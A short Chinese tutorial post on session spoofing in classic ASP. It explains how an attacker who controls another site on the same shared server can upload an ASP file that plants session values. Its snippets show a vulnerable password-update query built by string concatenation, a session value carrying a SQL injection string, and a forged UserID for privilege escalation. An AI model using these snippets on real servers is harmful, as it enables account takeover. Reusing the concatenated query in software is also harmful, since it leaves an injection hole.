去年在论坛上看到的才知道有session欺骗这个说法,session欺骗的最低条件是必须拿下同服务器的一个其他站点,也就是我们说的旁注。
因为session是保存在服务器上的,所以必须将构造好的session欺骗用的文件上传到旁注到的站点里,才能对服务器里的session进行欺骗。下面就是一个session欺骗的实例:
这段代码将session写入了数据库
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>
我们可以通过构造进行session注入
<%
session("user")="Huanhuan'and 1=2 and '1'='1"
%>
同样我们可以利用这个构造修改用户ID或者权限:
<%
Session("UserID")="105"
%>
Session(“”)里面的内容根据不同程序使用的名称而定
看论坛里的人测试过,证明可行。
所以服务器的安全设置对于一个网站的安全性也是非常重要的。下一次笔者将为大家带来关于服务器安全漏洞分析和设置的相关文章,敬请期待!